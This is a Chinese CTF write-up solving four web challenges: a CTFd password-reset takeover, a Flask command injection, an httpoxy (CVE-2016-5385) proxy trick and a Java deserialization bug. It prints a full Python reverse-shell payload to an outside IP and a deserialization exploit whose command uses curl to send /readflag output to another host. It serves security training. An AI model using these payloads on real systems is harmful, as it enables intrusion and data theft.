V&N招新赛web部分题解

V&N招新赛部分web题解

HappyCTFd

考点:ctfd漏洞

参考链接https://www.colabug.com/2020/0204/6940556/漏洞的相关分析,上文写的很详细,这里就不再介绍。

解题步骤:

  1. 先注册一个admin的账号,通过在admin前面加空格来绕过重复限制。
  2. 生成忘记密码的链接。
  3. 更改自己用户名为非admin.
  4. 点击更改密码的链接,改后登录

image-20200229183951772

下载,后就得到flag.

CHECKIN

考点:python反弹shell proc目录

访问就可以得到源码,右键源代码看到的代码自动有换行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"

@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

看到很简单的源码,有两个路由,

  • / :可以得到app.py源码
  • /shell : 通过传入c变量可以执行命令,但是会删除flag.txt文件。

开始时,想着通过类似时间盲注的方法去做题,后来一想python可以直接反弹shell,

然后开了个linux-lab,反弹shell。

1
c=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22174.0.216.234%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

image-20200229184920698

之后就是找flag了,这里又学到了linux中/proc目录内容。更详细的可以参考这篇文章,总结的很详细。

image-20200229185248748

由于ps命令不可用,这里我们就去翻一下文件夹

最后在/proc/10/fd文件里看见了flag

TimeTravel

这题也给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}

if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
phpinfo();
}

队友直接发了一个cve-2016-5385,然后去网上查一查,看到vulhub里面就有看一下里里面的源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

header('Content-Type: application/json; charset=utf-8');

$client = new Client([
// Base URI is used with relative requests
'base_uri' => 'http://httpbin.org',
// You can set any number of default request options.
'timeout' => 2.0,
]);

$response = $client->get('http://httpbin.org/get');

$body = $response->getBody();

echo $body;

源码差不多

简单来说,根据RFC 3875规定,cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包中可能存在的敏感信息。

这种漏洞的利用,通过在http请求头中添加Proxy头,就可以把请求代理到恶意的代理服务器,进而可以窃取数据报的敏感信息,也可以篡改请求报的响应。

1
2
3
4
5
6
7
8
9
if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}

从上面的关键代码可以看到,要得到flag,需要满足$data['success'] === true,如果请求代理到我们的服务器,然后回向http://127.0.0.1:5000/api/eligible发送请求,如果发送的请求,json解码后,$data['success']为true,就会得到flag。

解题步骤

  • 用我们的apache服务器作为代理服务器

image-20200229192230132

  • 然后用php在本地起一个服务器,监听5000端口,在api/eligible目录下新建index.php,脚本输出,解码后$data[‘success’]为true。

    1
    2
    3
    4
    //index.php
    <?php
    $a=array("success"=>true);
    echo json_encode($a);

    本地在用php启一个php的内置服务器,端口为5000

    image-20200229193926226

  • 然后burp再发包,触发条件,得到flag。

image-20200229194145302

EasySpringMVC

考点:java反序列化

题目给了源码是war包,用tomcat部署后,

image-20200301110922154

浏览一下功能,可以上传,但是要webmanage权限,开始以为要修改权限,上传个图片马 什么的。

然后审计源码,由于之前没有做过java的题,对java的程序框架不是很了解,一边百度一边理解,

程序大致的框架就是这样(本人的理解),有控制器,有jsp文件,lib文件夹里面的都是引用的jar包,看了里面的jar包,没有反序列化漏洞的版本。这里的ClientinfoFilter就是一个全局过滤器,在web.xml文件中,

1
2
3
4
5
6
7
8
<filter>
<filter-name>clientinfo</filter-name>
<filter-class>com.filters.ClentInfoFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>clientinfo</filter-name>
<servlet-name>*</servlet-name>
</filter-mapping>

filter-class 必需元素,它指定过滤器实现类的完全限定名。

filter-name 这个必需的元素必须与用filter元素声明时给予过滤器的名称相匹配。

servlet-name 此元素给出一个名称,此名称必须与利用servlet元素给予servlet或JSP页面的名称相匹配。

参考链接

image-20200301112633247

然后我们继续看ClientinfoFilter中的doFilter方法,

image-20200301112812260

首先去取cookie,如果cookie中有cinfo,exist就为true,然后进入判断,将cookie中的cinfo值base64解码,然后调用Tools.parse()方法,继续跟进

image-20200301113107762

parse方法对输入进行了反序列化,可以发现Tools类重写了readObject方法,那么参考大佬的文章,重写反序列化方法会有风险,而且这里重写的方法还调用了ProcessBuilder().start)(),这个方法可以执行命令,到了这里,我们的思路就很清晰了,通过构造cookie,触发反序列化,调用重写的readObject方法,进而调用ProcessBuilder.start()方法,执行命令。

首先,我们在本地尝试一下可不可以,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//exp.java
package com.tools;

import java.util.Base64;

public class exp{
public static void main(String[] args) {
try {
Tools test = new Tools();
byte[] bytes = Tools.create(test);
Base64.Encoder encoder = Base64.getEncoder();
System.out.println(encoder.encodeToString(bytes));

}
catch(Exception e)
{
e.printStackTrace();
}

}
}

从上图我们可以看到create()方法中调用了writeObject,所以我们可以重写writeObject()函数,来进一步利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//Tools.java
package com.tools;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Tools implements Serializable {
private static final long serialVersionUID = 1L;
private String testCall;

public Tools() {
}

public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}

public static byte[] create(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])((String[])obj))).start();
}

private void writeObject(ObjectOutputStream out)throws IOException{
//String[] cmd={"/bin/sh", "-c","curl -d `/readflag` 174.0.219.93:8888"};
String[] cmd={"calc"};
out.writeObject(cmd);
}
}

image-20200301120719913

将运行后的base64,放入test.java中测试一下

image-20200301120834520

之后就可以执行命令了,这里参考一下师傅的文章,里面讲解了Runtime.getRuntime().exec(cmd)和ProcessBuilder pb=new ProcessBuilder(cmd)的区别和用法,

然后我们把命令改下

1
2
3
4
5
private void writeObject(ObjectOutputStream out)throws IOException{
String[] cmd={"/bin/sh", "-c","curl -d `/readflag` 174.0.219.93:8888"};
//String[] cmd={"calc"};
out.writeObject(cmd);
}

生成的替换下cookie,就得到了 flag

image-20200301122930606